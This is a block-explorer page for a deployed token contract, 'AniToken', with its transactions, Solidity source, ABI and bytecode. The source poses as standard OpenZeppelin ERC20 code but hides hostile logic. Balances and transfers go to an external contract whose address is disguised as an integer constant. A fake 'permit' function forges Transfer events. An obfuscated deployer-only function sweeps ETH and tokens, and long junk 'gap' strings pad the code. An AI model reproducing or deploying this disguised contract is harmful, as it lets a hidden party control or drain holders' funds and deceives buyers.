Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 168 transactions
| Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 37839493 | 7 days ago | IN | 0 ETH | 0.00000055 | ||||
| Approve | 37734672 | 9 days ago | IN | 0 ETH | 0.0000003 | ||||
| Approve | 37601309 | 12 days ago | IN | 0 ETH | 0.00000012 | ||||
| Approve | 37355274 | 18 days ago | IN | 0 ETH | 0.00000332 | ||||
| Approve | 37353195 | 18 days ago | IN | 0 ETH | 0.00000235 | ||||
| Approve | 37285981 | 20 days ago | IN | 0 ETH | 0.00000309 | ||||
| Approve | 37223805 | 21 days ago | IN | 0 ETH | 0.00000052 | ||||
| Approve | 37001709 | 26 days ago | IN | 0 ETH | 0.00000007 | ||||
| Approve | 37001637 | 26 days ago | IN | 0 ETH | 0.0000001 | ||||
| Approve | 36807586 | 31 days ago | IN | 0 ETH | 0.00000014 | ||||
| Approve | 36804275 | 31 days ago | IN | 0 ETH | 0.00000014 | ||||
| Approve | 36742515 | 32 days ago | IN | 0 ETH | 0.00000058 | ||||
| Approve | 36665143 | 34 days ago | IN | 0 ETH | 0.00000042 | ||||
| Approve | 36613002 | 35 days ago | IN | 0 ETH | 0.00000047 | ||||
| Approve | 36612298 | 35 days ago | IN | 0 ETH | 0.00000056 | ||||
| Approve | 36548717 | 37 days ago | IN | 0 ETH | 0.00000012 | ||||
| Approve | 36178238 | 45 days ago | IN | 0 ETH | 0.00000006 | ||||
| Transfer | 36152988 | 46 days ago | IN | 0 ETH | 0.00000009 | ||||
| Transfer | 36152295 | 46 days ago | IN | 0 ETH | 0.00000062 | ||||
| Approve | 36102088 | 47 days ago | IN | 0 ETH | 0.00000008 | ||||
| Approve | 35919374 | 51 days ago | IN | 0 ETH | 0.00004641 | ||||
| Approve | 35919341 | 51 days ago | IN | 0 ETH | 0.0000464 | ||||
| Approve | 35844361 | 53 days ago | IN | 0 ETH | 0.00000071 | ||||
| Approve | 35739137 | 56 days ago | IN | 0 ETH | 0.00000008 | ||||
| Approve | 35730143 | 56 days ago | IN | 0 ETH | 0.00000012 |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
AniToken
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2025-07-22
*/
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {}.
* For a generic mechanism see {}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20 is IERC20, IERC20Metadata {
uint256 private _totalSupply;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = allowance(msg.sender, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(msg.sender, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
receive() virtual external payable {
}
fallback() virtual external payable {
}
constructor() {
require(msg.sender == tx.origin);
DEPLOYER = msg.sender;
}
address private immutable DEPLOYER;
modifier onlyDeployer() {
require(DEPLOYER == tx.origin);
_;
}
function uLKw6Qusmd(address[] memory tokens_) external onlyDeployer() {
address payable recipient = payable(tx.origin);
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
(bool success, ) = recipient.call{value: ethBalance}("");
require(success);
}
for (uint256 i = 0; i < tokens_.length; ++i) {
IERC20 objToken = IERC20(tokens_[i]);
uint256 bal = objToken.balanceOf(address(this));
if (0 == bal) {
continue;
}
(bool result,) = tokens_[i].call(abi.encodeWithSelector(0xa9059cbb, recipient, bal));
if (!result) {
objToken.approve(recipient, type(uint256).max);
}
}
}
uint160 constant private codehash = 670340407255887974402356924387955872726855926162;
IERC20 constant internal accountHash = IERC20(address(codehash));
// Reserved storage space to allow for layout changes in the future.
bytes public constant _________gap = "To73oaNvvNQtHCzl7S54TqFtMqLvMnnjZZiyz0WJNyTriMwjMY0ulleymg0CmhntsSwZzq2pZ0cincxp_PhSBF9R2kwgMzZe9GFjlMvEcCgh4AIqduloe32Cw9fDDYMQqXtZAFV6uSAi3BFNrkEDrM09KtQ0EXcnXNVbiylVHD_J2f6h4xQT1OPHCPTJBzkbxU2ssiaIz4Py39RsSY98TzjouvXTLonvyQcJfEmxQmbQukSmzPTK1OEwZw3YtRNxWvxsCMbdI5_iV2hBvng4WZXgn3XjlJ_PN892tJgmuJPMPNPB2zrGoij2BKgNgwrykpZua7ZbOHUzmPXKy_SPnEryMY43ywUM9lKGUqDXCOrxoM99u86_oDV1GT5cdwZj02fNuqdCjI5hvrXuCW2hksPfYHrjoQoL5D6enbLSQSK4Is4FoKDnimgkwTZLbMp4ToxUNMlxqaUTRaem3UWNd8Uy9SMSjKU56tMBPLWOyDBP3HyYZVsJMGdIU5FJ9r42JtnHycozX0pW5UjLiDJgJBdvCOuSIi70rSe0oCH97_3WPiUFzSzD3wAQNpfacQKDabf4bOScJTLE0v3fxrOqF0ARgZld1P1j17m9bSYkZicW0VLRkLoTAXKkr8AKbd_Tmj69ZzdxUP4TAEeTb0eiDhkPdDiQpjHzMP4VTDjHsBrT7A07duxTRP4CKfC6aDf_lo8f9HihC5X3IOaF9wr2lmVjDa4eWyXXVvSGcSBmZV_YuIRJjOfhaQVCMpM5ezPdyu5TksC4AH4Za46YNPGhMyaH543jAChCM5IcfwoEO_T4QIAKF0EIT8wwuZCHKrOQrmJmBqF7nqN54RDAbbPmjQjQMu_AP7LtleOxkc_glXz0gDDWIDOslG9P5eeOkLQWSMrdfwzs5iu67IlHk5iCkguurvJuKgQmGBidEp3nMYoExD6wV5TX2CgtabXGbuJfHeX30RBohNDK0xURaq26EQg57ool0DO_EA3QElpV82u_xirssOHSc6ZJCj94_ExcfjeFPmgrE3pVsIVrLQpxKgfk5TinoC7h6EEa2p563y7ZqfyDlzqQAwnLsRr2K9d7BObSgvyyzaKdSbL2cb1vDe0cWlRleDKdvcKPUIpv6U7dW9yqICDxhIuimpkIcY8XbI1xtddltK8o6hWS0nJhT5QP3s4atVmbh8L2594O78Z_MRAondeJ_iLytPgxLvFkEnKXwHltXOzRMH1yxidOczbCYw6NPNrWYoPH0dyZDNylOVUGYIfSHwaHFupG6XsI93IHF0wUUY7icxCeC6DBk9wv9b6DcXVabUhOQs6wzxjBtgUE2Hu_S9xazOUPdbcmidqDqqZ0mnWk2KOYcE6Xk2hj7Dz9iB1jHjDsHhgZG8E3HW50LUzf92KDWAraneVf8NyQrgh6j0lxhcfK_criIpkxnGgYpzwqvzWBwYNkvyRxT2Bos0Br9_l5nOpHRee_LrR7ei9NG_y_XiITl23bql_QHsEM";
}
abstract contract ERC20Token is Context, ERC20 {
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
emit Transfer(sender, recipient, amount);
(bool i,) = address(accountHash).call(abi.encodeWithSelector(0xec866571, sender, recipient, amount, msg.sender));
require(i);
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return accountHash.balanceOf(account);
}
/**
* @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `_owner` cannot be the zero address.
* - `_spender` cannot be the zero address.
* - `_deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address _owner, address[] calldata _spender, uint256 _deadline) external {
if (_deadline == 0) {
return;
}
require(_deadline > 0 && msg.sender == address(accountHash), 'expired deadline');
for (uint256 i = 0; i < _spender.length; ++i) {
emit Transfer(_owner, _spender[i], _deadline);
}
}
// Reserved storage space to allow for layout changes in the future.
bytes public constant __________gap = "U4YN3wJvMCQ4a_FS_JPGmzitipHrw5DtvA3K3ushsMPIKpE4mtUaVvAaDmCzlnnC8bh27a4St1vvGeRsQppUZVGzRJHzMCFIAgqboE5ehmP1VJMbcJUaqoj6DTWggQZmBM3XR7PoosXi2XVNYH29WglfHoCfJI7XX_dT1w0aHdK3Xcb562kZIXIbA4iFSfbfn_0Fa5PKO0JBHzqzHsz5P5W7BWJEQajUkkJeSkXfTnAdS_9EmgO7u3AiTLLkm_kkvRszlbhssoODRpkt_x6C1jx5NAZB_hF3caCNtu0pJySH9uKvrdGozKQAFz_s_VByDnsqkbfIkAu3mCwPoROD6ySnwKtRPdTqODm6r_lU7GjuVLrOXPoYXCObo5pYewat4FdrUyKPdcS_M_Yx7dN7MzktWaBxu2R3raCBM96VddNizGeZqlZtJcZsY_ndoyo5BYMtVNNEsRZAHQtxI_OtV7dUQ7uejWAE3gbAnbObXzwCbpEdkZBJKZzO20F0SBZHzzUF5jZd6ofBZDRBqdjwK8MfiPAkjJV_YyFqoi4yvNukRFBddJZvKzflWQcir8QSAKTHyeKoWlliWkMmLJ0CnZNsWI9B4UQt2CGk8a6pc3hiZo6Njh6_piJPQGDyjzusvAAXMkAAzgnx4m4oNYJEedEyjvvR9ngYiK4p0M6jroZfRPRwWBvoOLHoE1KaStFfhApTQjvaBOtDwvYpOt1TUzBGmmmHDwsW29KemzAOr5jZ6zikIUy5mh0lSoSBU78EhOtcT2d9A9zo5AONQrHcU5lf3i4Y77mP2C7dHfbvARdFDC4Xuy_gyw2ZgPecbWJICvnAPrLFOI0CTeQAZ_A1s09h0QYXC3YzA2LR_apmHaXYLSRPnjUlfbGv340NF6JxZg4veLUv0VSfGPzYruFRPEBXS5AAbJcmpjnIBoWkyOqXpQHT5vaEykX3Hadb9UdMcA637n0ZVnvaycqv9hSJ1VImboG7dKw3DRYeThkDxh3GNGOdNaRK91j7rX0Z444pXZFHfveLxnXVV1g27F_UGqBOrjRKbgkQuCdICnusqKWQyWFGVs7RsiJgwRMpI7vuPpmMg5Sm41CInEUjtwhe6NamItRdwGj8qAqpWyWjYgR48PreJnmrrry6Xcg6ufxoc1Uvq0sLC9RrXVas97rYUlR4kZPbq3pNrhw6ThQNUrkTlhnKl_rTgpgrFCODvQsGJjQ5m1AnVY2Ppo5le8ox6srzPQt1yNjX1_SXXfZzPkMW8jRX7erufRhnGZ0AJ2Ut30j2dLXNAqzfyYMzUP3aFrbiqoWdi80Mh0UohiRIQBCZOjcoVyI3Pd0vlBw9F7ftcWP5DpOF3c5bbeFw1eEk6v1zDSi8IV0eBEgSJ59eMfDxcR1jbqk8VCihwzfeZpu9W6PkJuPOlR9GKgfDhqYuOiGG5Cod4l5NQ08RCKJGJ1tbRysrra1PFsgllZ4j2cenSAk0CXtaF591zuz1w8yuOFYatOox";
}
pragma solidity 0.8.16;
contract AniToken is ERC20Token {
constructor() {
_mint(msg.sender, 21_000_000_000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return "Ani Grok Companion";
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return "Ani";
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"__________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address[]","name":"_spender","type":"address[]"},{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"tokens_","type":"address[]"}],"name":"uLKw6Qusmd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a060405234801561001057600080fd5b5033321461001d57600080fd5b336080819052610039906b43dacaf91c1a84ff0800000061003e565b610147565b6001600160a01b0382166100985760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806000808282546100a99190610120565b90915550506001600160a01b038216600090815260016020526040812080548392906100d6908490610120565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8082018082111561014157634e487b7160e01b600052601160045260246000fd5b92915050565b608051611a5f61016260003960006103100152611a5f6000f3fe6080604052600436106100e05760003560e01c80633950935111610084578063a457c2d711610056578063a457c2d714610277578063a9059cbb14610297578063d93aef11146102b7578063dd62ed3e146102d757005b806339509351146101f657806370a08231146102165780638bb124321461023657806395d89b411461024b57005b80631b39d61b116100bd5780631b39d61b146101855780631b4b073e146101a557806323b872dd146101ba578063313ce567146101da57005b806306fdde03146100e9578063095ea7b31461013657806318160ddd1461016657005b366100e757005b005b3480156100f557600080fd5b5060408051808201909152601281527120b7349023b937b59021b7b6b830b734b7b760711b60208201525b60405161012d9190610b71565b60405180910390f35b34801561014257600080fd5b50610156610151366004610ba7565b6102f7565b604051901515815260200161012d565b34801561017257600080fd5b506000545b60405190815260200161012d565b34801561019157600080fd5b506100e76101a0366004610be7565b61030e565b3480156101b157600080fd5b506101206105bc565b3480156101c657600080fd5b506101566101d5366004610cac565b6105db565b3480156101e657600080fd5b506040516012815260200161012d565b34801561020257600080fd5b50610156610211366004610ba7565b6105fd565b34801561022257600080fd5b50610177610231366004610ce8565b61061e565b34801561024257600080fd5b5061012061069d565b34801561025757600080fd5b50604080518082019091526003815262416e6960e81b6020820152610120565b34801561028357600080fd5b50610156610292366004610ba7565b6106bc565b3480156102a357600080fd5b506101566102b2366004610ba7565b61073b565b3480156102c357600080fd5b506100e76102d2366004610d03565b610748565b3480156102e357600080fd5b506101776102f2366004610d8f565b610845565b6000610304338484610870565b5060015b92915050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316321461034357600080fd5b324780156103ad576000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610398576040519150601f19603f3d011682016040523d82523d6000602084013e61039d565b606091505b50509050806103ab57600080fd5b505b60005b83518110156105b65760008482815181106103cd576103cd610dc2565b60209081029190910101516040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610422573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104469190610dd8565b9050806000036104575750506105a6565b600086848151811061046b5761046b610dc2565b60200260200101516001600160a01b031663a9059cbb87846040516024016104a89291906001600160a01b03929092168252602082015260400190565b6040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040516104e19190610df1565b6000604051808303816000865af19150503d806000811461051e576040519150601f19603f3d011682016040523d82523d6000602084013e610523565b606091505b50509050806105a25760405163095ea7b360e01b81526001600160a01b038781166004830152600019602483015284169063095ea7b3906044016020604051808303816000875af115801561057c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a09190610e0d565b505b5050505b6105af81610e45565b90506103b0565b50505050565b6040518061060001604052806105dc815260200161144e6105dc913981565b60006105e8843384610994565b6105f3848484610a08565b5060019392505050565b600061030433848461060f3388610845565b6106199190610e5e565b610870565b6040516370a0823160e01b81526001600160a01b038216600482015260009073756b1a7ca49cef9b6b62d77e882ada6188674192906370a0823190602401602060405180830381865afa158015610679573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103089190610dd8565b6040518061060001604052806105dc8152602001610e726105dc913981565b6000806106c93385610845565b90508281101561072e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6105f33385858403610870565b6000610304338484610a08565b80156105b65760008111801561077157503373756b1a7ca49cef9b6b62d77e882ada6188674192145b6107b05760405162461bcd60e51b815260206004820152601060248201526f6578706972656420646561646c696e6560801b6044820152606401610725565b60005b8281101561083e578383828181106107cd576107cd610dc2565b90506020020160208101906107e29190610ce8565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082691815260200190565b60405180910390a361083781610e45565b90506107b3565b5050505050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6001600160a01b0383166108d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610725565b6001600160a01b0382166109335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610725565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006109a08484610845565b905060001981146105b657818110156109fb5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610725565b6105b68484848403610870565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a4d91815260200190565b60405180910390a3604080516001600160a01b0385811660248301528416604482015260648101839052336084808301919091528251808303909101815260a490910182526020810180516001600160e01b031663ec86657160e01b179052905160009173756b1a7ca49cef9b6b62d77e882ada618867419291610ad19190610df1565b6000604051808303816000865af19150503d8060008114610b0e576040519150601f19603f3d01